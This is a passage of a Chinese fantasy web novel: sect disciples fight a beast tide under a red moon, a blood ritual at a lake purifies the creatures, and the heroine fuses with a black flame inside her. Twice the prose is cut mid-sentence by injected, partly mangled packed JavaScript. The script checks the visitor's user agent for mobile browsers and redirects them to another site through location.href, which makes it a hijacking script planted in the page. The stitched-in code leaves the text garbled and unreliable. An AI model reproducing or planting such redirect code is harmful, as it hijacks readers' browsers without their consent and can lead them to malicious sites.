暴雪像被撕碎的棉絮在崖壁间翻卷。崖顶,火光沉默地吞吐黑夜。金银错穿过遍地哀嚎,蹒跚走向终点,递上半壶酒,歉然道:“姐姐,只能找来这些。” 婆娑树影里,白衣女子盈盈一笑,眼尾里的风霜化成春水,荡起涟漪,“足够了。”她接过酒壶,仰头灌下一口,没成想酒性热烈,好一阵呛咳。 “姐姐!”金银错连忙替她顺气,嗔道,“姐姐难道从未喝过烈酒?” “偶尔小酌一杯。”女子笑笑,以酒液洗剑,擦拭干净后割断袖袍,拧成一股绳咬在齿间,再卷起衣摆,将剑尖对准腿上的烂疮,元力涌动,逼出黑气。 低低的闷哼声从嗓子眼挤出来,仿佛幼兽溅了血的哀鸣。 金银错别过脸,不敢去看,待到声响止息,才小心翼翼发问,“姐姐?” “放心,已无碍了。”有气无力的回应。 一转头,猝不及防对上满腿纵流的血迹——她正在用烈酒反复洗刷伤口,痛得脸色惨白,浑身颤抖。这场景看得金银错眼一酸,就要落泪。 半壶酒毕,女子吐出咬烂的衣绳,转而拿起绷带,被金银错一把抢过。 “我来吧,姐姐歇着就好。”金银错蹲下身,开始包扎止血。好一阵忙活,余光见人双目欲合,气息渐弱,她心下一惊,慌了神,“姐姐?姐姐!” 女子费力地睁开眼,眼神迷茫,语气却是温柔的,“阿欢?” “姐姐,我是金银错。” 清醒过来,女子笑着摇头,深吸一口气,“抱歉,将你误认成我那不听话的小弟子了。” “阿欢便是那小弟子么?”金银错努力挑起话题,让女子打起精神回应,“姐姐再坚持一会儿。阿欢还在黎丘等着你回去呢。”她想了想,又道,“别忘了,芳芪还说要吃你亲手做的也桃糕。” 女子含笑点头,“约定好了,自然不会忘。” 金银错加快动作,终于忙完,松了口气,盖好女子的衣摆,一抬头,见她正望着不远处出神,眼神悠远,像是隔着迢迢大河,眺望对岸的风景。 金银错顺着那方向看去,蛟龙被钉在悬崖的断面上,上半身牵缠成团,藏进头角后方的两处凸起——即便如此会暴露要害,也不愿在将死之际受辱。 雪落在鳞片上,被余温融化成血,淅淅沥沥地流淌,恍若一副喜庆的挽联。 女子垂下眼,“多谢。” “谬赞了,应当是我们谢谢姐姐。”金银错郑重道,“若非姐姐舍命斩蛟,今此一役,必定全军覆没……” “怎么回事!”忽然间,有人惊叫起来,“水,水在动!”洒落地面的酒液有规律地震颤起来,荡起一圈又一圈涟漪,层层累积,宛如被捶裂的镜面。 草叶上的露珠结成冰碴,簌簌掉落,紧接着是大块的山石崩裂,愈演愈烈。 “轰隆——” “小心!” 待这一阵摇晃过去,女子低头看向护在身下的人,“可曾受伤?” “姐姐……”金银错指向那一处,在那双担忧的眼里看到自己灰白的脸色,“那是……” 疲软的尸身不知何时立了起来,对着天际发出无声的嘶吼。泱泱黑气注入这副躯壳,在它空荡荡的眼里,点燃一抹红光,正如身后猝然变色的圆月。 红月再临。 “你亲眼目睹蛟龙死而复生?”芳芪震惊,“为何隐瞒此事?” “姐姐她……不让我说。那一战,姐姐拼死带我逃出生天,甚至不惜动用禁术,我如何能违背姐姐的意愿?若不是……”金银错长叹,面露哀色,引得一片沉寂。 没想到云弈竟是连师祖辞世的消息也说了。阿也心道,与云绮相比,倒是个坦诚的。 半晌,芳芪方道:“我亦如此。”她冷声道,“无论幕后主使是谁,此战,绝不能输。” 六角雪花的的东南二角应声亮起。 “山主,这两处据点临山,易守难攻,因穹苍一脉居于高山,深谙其道,故交托于你。”芳芪道。 山主颔首应下。 “金银仙,这几处间以森林相连,而林中最易御蛇,加上你熟悉地形,因此由你负责打探前线,及时汇报兽群动向。此事重大,却也危险,可有异议?”芳芪看向金银错。 “自当竭尽全力。”金银错坚定道。 接着,六角雪花的西南一角亮起。 “天锦道长,这一处地势复杂,布满丘陵或地洞,若以奇门遁甲之术统御,镇压兽潮定然事半功倍。” “芳长老虑无不周。”天锦笑道。 最后,六角雪花的西北三角亮起冰晶般的冷芒。 “这三处靠海,地势平坦,易攻难守,由我华宗负责。”芳芪道,“我负责近西二侧,石磊守卫东边,弟子三一开,余寰驻守后方,提前调配物资。” “是。”石磊和余寰俯首应下。 阿也心中惊奇,且不论余寰如此听话,她原以为芳芪赶来阴山支援,是因为石磊被留在云间派,但现下一看,人家神色恭敬,分明以芳芪为首,恐怕这战力第一,另有其人。 在六角雪花的破碎声中,芳芪一字一顿,“此战,与五州共存亡。” 敲定完最后的细节,阿也走出营帐,月色初上,弦月日渐丰腴,大概等到满月,便是大战之际。 视线扫过溪对岸那一排营地,旌旗上的青兰被月光镀了一层银晖。阿也脚下打了个转,改朝那边的主营帐走去。 云间派来了这么多人,为什么不参与镇压兽潮一事?芳芪不提,旁人不问,阿也觉得这其中恐怕又有什么隐秘,得找云弈问个清楚。 “华姑娘?”熟悉的声音从身后传来。 阿也转头,是云漪,嗅到她怀中木盒散发出甜香,有些熟悉,“云姐姐,这是……” “这是我刚做的也桃糕。”云漪温柔一笑,打开木盒,六块花糕排得整整齐齐,热气腾腾。 见她意动,云漪歉然道,“今日这些,是去祭堂敬香用的。若华姑娘喜欢,明日我再做些送来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听出她话中之意,阿也一顿,笑道:“姐姐别忘了明天给我做也桃糕。” 云漪一愣,跟着笑起来,“自然不会忘。” 送别云漪,阿也站在溪边柳树下,待人进了营帐,抬指点在眉心,发动与云弈的传音,“掌门。” 识海里的链接微闪,耳畔传来细微的呼吸声。阿也慢慢问出那个问题,“往生教真正的目的是什么?” 呼吸声陡然加重了。片刻后,云弈开口:“你可知何为芥子世界?” 芥子?好像在哪里听过,阿也皱眉,花了老半天从记忆里搜出相关的内容。 有人道:“如一芥子,不与外界相通。” 也有人道:“芥子之中,生灵当栖息自如。” 阿也如实回答,却听云弈一哂。 “那姑娘是否想过,极境于五州,算得上一芥子。”云弈忽然笑了,而笑意之下,满是刀剑映面般的森森冷意。 “而五州于真正的世界,也不过一芥子?” “咕噜咕噜——” 仿佛腹中空空发出的叫声,枯井化身一口泉眼,汨汨涌出猩红的血。正对高台的那面墙上,无数黑气从四方锥塔的塔尖的孔洞涌出。 渐渐的,那黑气凝成一道人形,悬浮在半空,飘忽如鬼影。 现身的霎那,光线扭曲。鬼影侧身,一道寒芒擦肩而过,黑气蜂拥而出,撕裂虚空,抓住了隐匿其中的人,高高吊起。 那是一名女子,身披黑袍,长发及腰,素面朝天——甘棠。 见她指尖闪起光亮,鬼影扬手。黑气如绳,缠上甘棠四肢,紧接着,一阵噼里啪啦的暴响,将整个人拧成怪异的形状,像是抽空布偶里的棉花,软软绵绵地耷拉着。 但那一点金光脱离指尖,欢快地飘了起来,躲过黑气的层层封锁,当着鬼影的面消失不见。 一瞬间,甘棠仿佛回光返照,大笑出声。 黑气瞬间绞紧,笑声戛然而止。 “都不听话……”鬼影无奈地摇头,飘上高台,凝视那副冰棺的棺壁映出的自己,指腹划过下颌,“更喜欢原来的这副皮相么……” 视线扫过断开的锁链,鬼影微微一笑,“那便早些醒来吧。” 随着这一声,泉眼骤然疯狂,向外喷吐出黑色的淤泥,搅得胎血浑浊不堪,层层累积,逐渐淹没高台。 蜷缩的蛟尸浸泡在血污之中,逐渐消融,而正中央的冰棺却忽闪着亮了起来,如久旱的草木,尽情吸吮甘霖,染上斑驳的颜色。 血泊里涟漪波荡,扭曲了棺壁的倒影。 36. 红月 一点金光划破混沌,仿佛一只荧虫飞过夜中山林,驱散了黑暗,一缕火光借助风势席卷整而来,浓烟呛鼻。 心有所感,阿也猛地睁眼,眼前夜幕瞑瞑,金光跌跌撞撞地靠近,忽闪着,像是随时会消散。 甘棠……认出其中虚弱的气息,阿也抿唇,伸手接住那道光。 霎那间,寒意窜上脊背。阿也下意识打了个哆嗦,等到领会光中讯息,立刻跳出睡袋,冲进营帐,“芳长老!”她上气不接下气道,“兽潮!” 芳芪正在擦拭旧时战甲,闻言,眉间煞气腾起,引爆了身旁烛花。她披上战甲,大步迈出营帐,一言不发地点燃信号弹。 巨大的忍冬在夜空中绽放,醒目的赤红色。 紧接着,四面八方有信号弹陆续回应,分别是高山、衔尾蛇,以及八卦阵,但最醒目的,当属那朵青兰,缓缓舒展三叶七瓣,璀璨绚烂。 云间派要动手了。记起云弈的话,阿也皱眉,手中金光忽而躁动起来,一松手,便飘摇着飞进西北角的丛林。 这是在指引方向?但兽潮在即……她犹豫着,却听身侧道,“去吧。甘棠不会害你。” 她知道那是……阿也愕然,转头对上芳芪目中哀切,点点头,迅速越过集结的弟子们,追着金光而去。 “咔咔——” 落叶被踩破碎,在这寂静里震如擂鼓。阿也放慢脚步,在木头腐朽的味道里,忽然闻到熟悉的香气—— 清冽的一点冷香,仿佛风捎来远山的雪。 狂风骤起,成百上千只飞鸟振翅起落,树木疯狂摇摆,落叶纷纷扬扬,扰乱视线。 周边荡起透明的涟漪,白雾如潮水涌来,浓稠得挥不开。雾中黑影浮现,憧憧若水鬼,潜伏着,窥视岸上的她,蠢蠢欲动。 阿也抽出袖剑,抬起头,与那轮鲜红的满月对视,云遮雾障,活像被眼帘遮去一半的瞳孔。 好久不见了,公子闲。她在心底轻声说,一个转身,投入独属于她的搏杀之中。 “穹苍一脉的给我听好了!” 东南方位,一柄三叉描金戟劈进山巅,遏制了地底的闷响。穹苍山主踏碎岩石,冷眼俯瞰第一波兽潮越过天际线,右脸的伤疤如蚰蜒蠕动,重铠滚起雷光。 “去!”一道轻叱声响起。 幽幽深林中,拐杖悬浮在半空,下半截的累累蛇鳞脱体而出,化作无数柔软的细蛇,向四周蜿蜒爬行,映在金银错的眼底,仿佛涌动的波浪。 “生门六丙合六丁,醮谢苍穹,使敌自伏,剪恶除凶,此方大吉!” 西南方位,绞盘和机括以狂乱的节奏运转,绳索不断延长、收紧,吊起巨石,有力地抛出弧线。咚咚声响里,巨石沿着既定的路线颠簸前行,带起一阵风,将明黄色的法衣吹得上下翻飞。 “云弈师姐……” 望向队列最前方坚定的背影,云欢喃喃自语,仍在消化一刻钟前自己听到的讯息。 “当年遇袭,是师祖血祭青兰,黎丘得以幸存。如今兽潮将至,唯我一派继承净化之法,以血开阵,誓死捍卫天堑,护我五州!” 天堑?是五州与真实的世界的边界吗?为什么要捍卫天堑?是因为真实的世界不容她们吗?为什么……会不容她们?她们的存在……难道是假的吗? “云澄。” 嘶哑如磨刀的声音率先响起,打破了云欢乱糟糟的思绪,也打破了死一般的沉寂。 “云漪。” 紧接着,陆续有人报上姓名,耳熟能详,既是朝夕相处的师姐妹,也是一同长大的伙伴和至亲。 一声接着一声,引得无数画面在云欢眼前交替闪过,时而是师祖托付项链时遗憾的神情,时而是夜色里亮起的半节晶柱,最后是她被人群围绕却独独对自己招手时的笑容。 青烟从香炉中袅袅升起,隔开了云弈的眼神,云欢却觉得自己置身其中,仿佛一切都无所遁形,于是她上前一步,将年纪更小的弟子拦在身后,朗声道,“云欢。” 从前,是先辈挡在她们面前,而如今,她们到了该站在后辈面前的时候。 回过神来,云欢环顾四周,身边人陆续溯溪而上,一张张年轻的面容坚硬如生铁,无惧淬炼。 她们还那么年轻,潜力无限,以后或许会是宗门的中流砥柱,又或是另立门户,成为开山之祖,名扬四海,却甘愿为这五州百姓赴死。 纵使这芥子是假的,但那些牺牲……在过去的,亦或将来的,都是真的。 “在想什么呢?” 肩头遭人一拍,云欢蓦地回头,是云漪。 在想……要是能活下来,明年再一起去看承水环烟吧。云欢在心里回答,扬起笑脸,嘴上却道,“什么也没想,师姐呢?” “撒谎。”云漪捏了捏她的鼻尖。 “在想……不告诉你。”云欢努了努嘴,又问,“师姐在想什么?” “淘气。”云漪笑了一下,眺望远方,溪流尽头不知会是什么。她收回视线,“我在想……早知那么仓促,就该把桃糕送给人家吃的。” “师姐做了桃糕?”云欢瞪起眼,“怎么不给我吃?” “还吃呀?小时候贪吃那么多,结果蛀了牙,疼得在地上打滚,哭着求着让师祖给你施咒,闹了好大的笑话,怎么,把这些都忘啦?”云漪挪揄。 怎么会忘呢?云欢抚过颈间犹带体温的晶柱,想了想,还是没有说出口,转而学小时候嘴硬道,“我不管,我就要吃,就要吃!” “好好好。”云漪熟练地哄道:“等回去了给你做,要吃多少有多少。” 话音落下,两人却都沉默。 以血开阵……大概会死得很难看吧?云欢想象不出那时自己的模样,却兀地记起滩涂之上那张被流水冲刷的惨白的脸,心口揪了起来。 “等等我。”云欢匆匆忙忙抛下云漪,跑到溪边,取出那朵并蒂芙蓉,花瓣洁白,蕊心金黄,一贯的优雅美丽。 这么漂亮,要是被弄脏了,多可惜。云欢对自己说着,俯身将手探入溪中,目送花随水流远去。 其实有很多话想交代,比如说谢谢,比如说不要难过,再比如说一定要好好活下去……但最后,什么也没有交代。 等到花飘出视野,云欢在心底轻声说,不要来找我,也不要……找到我。 西北方位,第一波兽潮抵达海岸。 平整的水面隆起一个又一个的弧度,寸寸拔高,像是水蛭在人皮下游走产卵,卵在温暖中孵化,等待破壳而出。 轰然一声巨响,大海犹如暴沸之汤。 无数混元兽破出水面,叫得出名字的,叫不出名字的,齐齐抖擞身上的水,汇聚成一场滂沱大雨,泼向这片幽蓝的冰原。 芳芪被轰鸣震得胸口一紧。她平稳体内激荡的气息,咽下喉头腥甜,擎起大旗,“游界逆行——” 冰原中心的断崖上,一轮金黄的满月徐徐升起。元力汇聚犹如山峦,接连拔地而起。飘扬的忍冬旌旗之下,是千百位弟子坚毅的面庞。 “杀!” 暴喝声中,各式各样的命格开始显化,或鹿或棋,或鸟或鱼,一同迎上踏裂冰面的铁蹄,以及狂舞的白沙之中,密密麻麻的红色眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239297|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“小心!” 如玉枝叶抽飞凌栾背后的尖翅。华谏避开斜刺而来的肉舌,合拢折扇,由下至上劈开面前的七腮鳗,血混着脏器碎片溅了一身。 无暇顾及脏污,华谏一把拽过凌栾,呵斥道:“你不要命了?!” “滚开!” 凌栾杀红了眼,挣脱他的束缚。赤练奉命激射而出,将一只背生百眼的蟾蜍囚住,绞成一滩烂泥。 “你!”华谏追着向前冲锋的凌栾,攻伐和防御的同时,目光急切在混乱的战场里四处搜寻。 这里没有,那里也没有! 她……到底在哪里? “咝咝——” 一缕鬼影溃散了,更多的鬼影前仆后继地涌来。 阿也麻木地举剑、劈砍,手腕被刻意忽视的酸意逐渐演变为胀痛,宣告这副身体快撑不住了。 必须撑下去。阿也咬牙,在掌心划出更多伤口,血染遍了剑身,是唯一能克制黑气的解药。 与黑衣人不同,这些鬼影皆由黑气所化,被寻常攻击打散后会再度聚拢,不伤不灭,若是放一个出去,不知会造成多大的伤亡。 眼前一花,阿也将将避开鬼影一爪,落地打了个滚,隐入丛林间,平复剧烈的喘息。她握紧那支手指粗细的白瓷瓶,只能赌一把。 “这瓷瓶内的折血丹也是长老所赠,对混元兽造成的伤有奇效,但副作用严重,轻易不可使用。” “小心血。” 见过往生教的试验后,还有什么不懂的? 过量的胎血会使人异化成兽,而少量却能大幅度提高人的愈合能力。 公子闲分明在提点她,这根本就不是什么疗伤圣药,而是掺了混元兽胎血的毒,是人临死前反扑的最后依仗。 这才符合石磊的作风。阿也笑笑。她拔开瓶塞,耳畔忽然响起一道声音,“我劝你别吃。” “你难道还没发现这身体的变化?”黑焰似笑非笑道。 阿也一顿,垂下眼。 每一次动用那些力量,她必然会失去一些东西,先是味觉,再是嗅觉……虽不知上一次为何安然无恙,但据桃夭所言,她曾出现呼吸和脉搏骤停的症状。 不,与其说是失去,倒不如说是华烨这副身体正在回归本来的模样——一具死去多时的尸体。 鬼影擦肩而过,森森气息灌入口鼻,惹得她浑身骤冷。阿也用力闭了闭眼,“你想怎么样?” “睁大你的眼睛。”黑焰道,“好好看一看。” 一片六角雪花在识海中浮现,那是穆州的地图。实景逐渐放大、拉近,聚集在西北一侧,连海浪起伏的轨迹都清晰可见。 从上往下看,整片冰原仿佛一块被撕碎的干粮,被饥饿的黑蚁疯狂噬咬,鲜红的碎渣在海面漂浮,如同破碎的血珊瑚——简直是人间炼狱。 “还没想好?” 像是生怕惊扰周围飘忽的鬼影,黑焰轻声道,“再犹豫,你就要死在这儿了。” 这一声落下,阿也忽地笑了起来。只听得咔嚓一声,她徒手捏碎那支瓷瓶,顺手甩出无数沾染血迹的碎片,清出一片空地。 走出林间阴影,阿也举起那枚猩红的折血丹,与红月遥遥相对,凑近了,闻到熟悉的腥气,果然有胎血的成分。 咕咚一声,她仰头吞下,慢条斯理道,“你舍不得我死的。” 眨眼间,强劲的药力抵达丹田,沿着缺口冲刷四肢百骸。原本细小的经脉被迫扩张到极致,近乎迸裂的瞬间,却被一层透明火焰包裹,牢不可破。 黑焰低低笑了一声,“那就祝你好运咯。” 37. 净化 无妄海里究竟有多少混元兽? 十万,百万抑或千万?没有人能回答这个问题,大家只知道海里的混元兽比陆地上的活过更漫长的岁月,更加危险。 也因此,战场更加血腥和惨烈。 已记不清这是第几波兽潮了。桃夭咬紧牙关,右手举钺斩断蠕动的绿色刺丝,左手压钺切开吸附在膝上的肉质足盘。 再一回身,双钺合并,借助腰力贯穿了正对面的混元海葵,那张不停翕动的口器终于停止喷吐恶臭,逐渐萎靡,化作一滩脓水。 喘息的间隙,桃夭拔开瓶塞,倒豆子般倒满一嘴丹药,匆匆咬碎了,和着血吞下去。 药力升腾起来,桃夭忍不住回头看了一眼。那轮金黄满月仍然高悬于顶,略略暗淡,但芳芪的背影依旧挺拔—— 她以自身为阵眼,吸纳整片冰原及附近海域的元气并炼化,压制混元兽实力的同时为华宗弟子作补充。 但即便如此,也招架不住这等消耗。 到底什么时候才是个头啊?桃夭眺望远方。 浩瀚天地被那乌泱泱的一线分割开来,狂风混淆了兽的嚎叫与人的嘶吼,眼前,那些肉翅不知疲倦地挥舞着,在囊泡吐出的泡沫间晃出重影……她不由一个恍惚。 一条胶状的透明触手悄悄绕过脚下。 “蹲下!”背后传来声嘶力竭的叫喊。 桃夭下意识听从,放低重心,只听得啪嗒一声,有什么东西碎掉了,后背溅上一阵冷意——海里的混元兽,连血都是冷的。 尚未回神,腰间一紧。桃夭低头,见到一抹污浊的红,是赤练。 她猛地回头,见到凌栾朝自己扑来,背后一只白喙鸾鸟振翅,利爪死死扣住了混元栉母的主肢。 青色的血珠一粒粒飞扬起来,像是撕裂的鸟羽。 红色的血珠一粒粒沉入湖底,像是烧熔的铁水。 云欢垂着眼,注视血漫出伤口,顺着并拢的五指淅淅沥沥地淌下,在寒风中散去热气,再沿着岸边流进这片再熟悉不过的湖——镜湖。 她们从镜湖进入极境,仿佛一切的开端,此刻又汇聚于此,仿佛一切的终结。 先前吃下的丹药起效了,新血再生的速度加快,汨汨不断地涌出,连伤口愈合的速度也明显变快。 云欢不得不再次切开手腕,看向四周。浓稠的雾气包围了整片湖,糊在脸上,湿得发黏,迷迷茫茫的一片白,唯有离自己最近的云漪能露出半边脸。 注意到她的视线,云漪回以笑容,做出唇语,“别怕。”脸色却是失血过多的苍白。 怎么能不怕呢?云欢抿唇,明明那么多的血流入湖中,却好像什么都没发生一样。 镜湖依旧清澈见底,黑色的淤泥里,破碎的织物伸出一角,慵懒地摇摆着,仿佛逐流的水草。 直至她记不清是第几次切开手腕,雾中方传来云弈的声音,那是一长串晦涩的咒语,伴有雷电轰鸣。 云欢竖起耳朵,觉得好像在哪里听过,一个激灵,颈间的晶柱率先亮起,散出炙热的红光。 “咚,咚,咚——” 在逐渐升高的温度里,她听到了心跳的声音。 “师姐!” 见前线的凌栾被无数艳丽软管包围,显然带毒,桃夭慌了神,想冲上去帮忙,被一条玉枝拦下,华谏喝止:“左边!” “滚开!”桃夭急红了眼,顾不得回身,反手就是一钺。刺啦一声,大块透明的蜇皮落地,微微抽动,泛起血色——刚刚那一钺,擦伤了她自己的腰。 但桃夭无暇顾及,直奔凌栾而去,双钺舞出残影,硬生生杀出一条路来,好在临近时,一道红色闪电撕破包围,鸾鸟再度长鸣,利爪将软管撕得粉碎。 “师姐!没事吧?”桃夭及时扶住凌栾,拿出药瓶,一顿,又缩回去,瓶里空荡荡的,她之前仓促吃完了,什么也没剩下。 “我没事。”凌栾强行拔出刺进肩头的一节软管,丢在地上,棘皮仍固执地收缩着,分泌出五彩斑斓的黏液。 “节省些。”她握住桃夭的手,低声道。 说来奇怪,被毒液溅到脸上时桃夭没哭,见到同伴受伤时桃夭也没哭,但在触及凌栾手中那半瓶剩下的丹药时,桃夭忽然很想哭,但她用力地吸了吸鼻子,忍住了。 “别怕。”凌栾低声说,“我会保护你。” 桃夭到底没能忍住。她用力擦去眼泪,守在凌栾背后,正对海岸线,白浪翻涌,混元兽接连不断地拥上岸来,一眼望不到尽头。 她们……会死在这里么?桃夭忽然觉得自己已经嗅到了死亡的味道,是风中海浪的咸腥气,是汗水混合血泪的铁锈味。 这味道犹如实质,沉沉压在心间,令人窒息。桃夭忍不住抬头望向天穹,此时此刻,乌云翻涌,遮去天幕,电闪雷鸣,不见日月。 有没有……谁能来,救救她们? “怎么回事?” 云欢与云漪对视一眼,皆看到了对方眼中的难以置信。 咒语已念完一刻钟有余,镜湖仍然毫无变化,唯有血凝固在礁石上,将风染成淡淡的红色。 “唔……”云欢吞下痛呼,颈间温度越来越烫,甚至令人生出一种即将被烧穿的错觉,但她不敢动作,害怕干扰云弈结阵,令大家功亏一篑。 疼痛愈演愈烈,像是被泼上滚油,云欢听到“滋滋”声,闻到焦糊的气味,下意识低头,没成想如此简单的动作却撕裂了那一块皮肉,伤口暴露在冷风中,难以克制的痛和痒。 为什么偏偏在这个时候……云欢咬紧牙关,电光石火间,青烟中云弈的眼神一闪而过。 等等,如果小烨都能猜出是她拿走了师祖遗物,那么师姐她们必然也……既然如此,又为何不加以阻拦? 除非遗物是开阵的必要之物。 难怪。云欢恍然大悟,难怪云绮师姐会同意她来阴山,其实是将师祖遗物带给云弈师姐。 思及此,云欢果断拽断颈间晶柱,猛力丢入湖中。 几不可闻的一声响,刹那间,冰霜爬满整片湖面,将飘摇的织物冻结成僵硬的弧度。幽蓝的冰面中,红线肆意流动,描绘出古老的阵法。 成功了?云欢兴奋不已,循着响动望去。 雾气散尽了,红线在湖心汇聚。须臾间,一道金色光柱冲天而起,神圣而纯净,余波荡涤这片杀伐之地,仿佛深山老林里的钟磬之声,绵而不绝。 “师姐你看!” 第一波金浪袭来,以摧枯拉朽之势冲开了成团的混元兽。桃夭顿时振作起来,“有人,有人来救我们了!” “小心!”凌栾警惕地挡在桃夭身前,赤练绷紧了,待到被金浪洗过,浑身登时松快,疲乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239298|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一扫而空,四肢百骸都洋溢着暖意。 的确是友,凌栾正视金浪的源头,似乎是镜湖的方向,眉头一皱,莫非是华烨? “师姐,你看那边!”衣袖被人扯动,凌栾回头。 海岸边,刚破水而出的混元兽被层层金浪洗过,眼中暴戾逐渐消弭,开始掉头折返,唯有一些尚未完全清醒的混元兽,还在坚持与人缠斗。 “太好了!”桃夭拍手叫好,笑出了眼泪。 山林中,飞窜的蛇群犹如连片的电光,尽数归于一点。 “东南二角的兽群撤退,西南一角的兽群撤退,云间派结阵成功,西北三角的兽群……”金银错头脑飞转,消化接收到的讯息,“不对!” “撤退的兽群在向西北方集结!”金银错灌入全部元力,群蛇近乎疯狂,携带预警,奔向各方。 “速速前去西北支援!” “集合——” 芳芪的声音随金浪飞过每一个角落,弟子们互相掩护着,开始后撤。 电光化在手心,芳芪擦去额头汗水,抬起眼,头顶那轮满月被金浪托着,仿佛拨云见月,更加璀璨夺目。她想,还能支持一会儿。 海量的元气从远方而来,反哺这片破碎的冰原,但与此同时,地面开始震颤——丰沛的元气也引来了受伤的兽群。 一边是亟待补充的弟子,一边是迫在眉睫的危机,芳芪攥紧旗杆,深吸一口气,传音道:“石磊。” 几乎是瞬间,传来石磊的回应,“我在。” “让余寰联络后方所有弟子,拿出全部伤药,优先供给云间派。”芳芪扫过从两侧奔来的兽群,即便经过鏖战,仍是黑压压的一片,“不论发生什么,一定要守好镜湖。” 没有任何质疑,石磊应下:“是。” 还是和以前一样啊。芳芪笑了笑,低声道,“若我不在,听云弈指挥。” 链接那边的呼吸骤然一沉,“芳芪!你……” 不等他说完,芳芪掐断了链接,转而俯瞰前方,战线寸寸收缩,留下支离破碎的冰原,像是被巨兽吮尽滋味,吐出的带着碎肉的骨头。 算好时间,芳芪盘腿坐下,取出陈旧的酒坛,揭开红封,就着回忆里的血雨腥风,有一搭没一搭地喝了起来。 当年她不顾华重楼阻拦,执意前往阴山镇灾,三位长老相信她,跟随她,最后却落得尸骨无存的下场,唯独她自己苟活于世—— 她宁愿死在那场浩劫中。 每一个从长生殿回来的夜晚,她坐在黑漆漆的堂中,都会幻想红月重新变成金黄,旧友得以沐月回归,举杯共饮一坛浊酒,而不是如今独酌……苦酒。 的确是苦酒。芳芪低头,清液里飘着几缕轻薄的血色。 这几年不是忙着修补命格,就是改善阵法,她竟忘了检查当年从极境带回的这坛酒的红封,如今喝到嘴里,涩如泥沙。 好在这一天终于到来。 松开手,芳芪目送酒坛滚落断崖,摔得粉身碎骨,无声笑笑,她的时候到了。 于是起身,闭上双眼,旌旗在风中猎猎作响,忍冬妖娆绽放。 满月陡然破碎,一片片在空中打旋,在攀升的气浪中织就出一副全新的甲胄,被人托着似的,缓缓覆上己身,与旧时战甲合二为一。 芳芪睁开眼,赤红犹如轻羽,在清光中浮动。 38. 融合 第一次见到那火焰,是在飞舟上遇到三头乌。 那时手心的血融化了元晶,启动了增幅阵法。 第二次见到那火焰,是她尝试用血熔断了囚禁卓清歌的锁链。 等到后来,她发现火焰是黑气的克星,于是每一次发作前,都会取血,作为召唤的媒介,就像某些术法要依赖绘于纸面的符咒。 但如今她已不需要这些—— 或许她本来就不需要这些。 火焰如幽灵般悬浮半空,因透明而虚幻,像无形的风,将残余的黑气包圆,吞噬殆尽。 “你好像很高兴。”黑焰说。 “你也很高兴。”阿也抬起手,注视火焰在指缝间欢快地游走,像绕指的纱绸。 从未有如此一刻,她感觉到黑焰在体内跳动,仿佛一颗另类的心脏,将力量源源不断地输送到每个角落,仿佛无穷无尽。 胎血打破了那扇门——她得以窥见门后黑焰的真容,一朵黑红斑驳的火焰,边缘是纯净的红,中心是浑浊的黑,仿佛洗笔砚里的污水。 它不该是这样的。阿也忽然想,这种感觉就好像她应该知道黑焰本来是什么样子。 大概她曾见过吧,毕竟附身在同一副躯壳上。阿也心道,可惜这部分记忆也随着过去一同遗失了。 但不得不说,与黑焰共享躯体……真是一种奇妙的感觉。她一节节扣紧五指,复又松开,如此简单的动作划开了虚空,狭小的缝隙里,隐隐传出……水声? 水声?阿也抬起头,不知何时林中飘起小雨,细密雨丝穿过火焰时,轨迹依然如故,像是穿过某种并不存在的幻象。 “该走了。”黑焰说。 转化阵法随战线逐步后撤,缩小至内圈,覆盖半径约一里的范围。金浪愈发稀薄,将散未散。 清点完伤员数量,凌栾松了口气,多亏芳芪相助,弟子伤亡约一成,比预计的强太多。 “兽潮余孽将近,让弟子们分批撤退。”芳芪的传音在耳边适时响起,凌栾眺望两侧,隐有尘烟,想来是兽群逐渐合拢,迟早会形成夹击之势。 情况不容乐观。 按照目前的战力,她将弟子分成两类,一连串点了许多年少弟子的姓名,“……景昀,桃夭,你们先护送伤者撤退。” “我要留……”桃夭当即开口。 “你留在这里也于事无补。”凌栾打断她,冷声道,“你若不愿前去,我换人便是。” 严厉的语气令桃夭眼眶一红。她抹了眼泪,颤声道,“师姐别生气,我……我愿意去。”说罢,想起来药瓶还在自己手上,赶忙拿出来,却发现凌栾早已转身离开。 景昀擦过枪尖,见桃夭仍然望着凌栾离去的方向,一副失魂落魄的模样,不由拍了拍她的肩,压低声音,“急什么?等护送完,我们再偷偷回来帮忙不就好了?” 旁侧纵观全程的华谏以扇掩面,轻嗤一声,“凌大小姐,你的臭毛病能不能改一改?就不能好好说话?” 凌栾睨他一眼,“你对华烨也这么说话?” 华谏一噎,决定好男不与女斗,放凌栾一马。 “其余人都给我打起精神!手脚麻利点!”凌栾扬声道,“别让芳长老替我们收拾烂摊子!” “是!”众人高声应和。 芳芪命格被毁在华宗并非隐秘,因此凭借转化阵法做到这番地步更是不易,要是被逼到亲自动手…… 凌栾想不出后果,也不想知道后果。她注视弟子们互相搀扶的背影,心一点点提了起来,希望能赶在兽潮合拢之前全部退守。 “轰隆隆——” 地面开始新一轮的震颤,较以往更加剧烈。冰原在重压之下四分五裂,激起三尺浪花,漂向远海,浮浮沉沉。 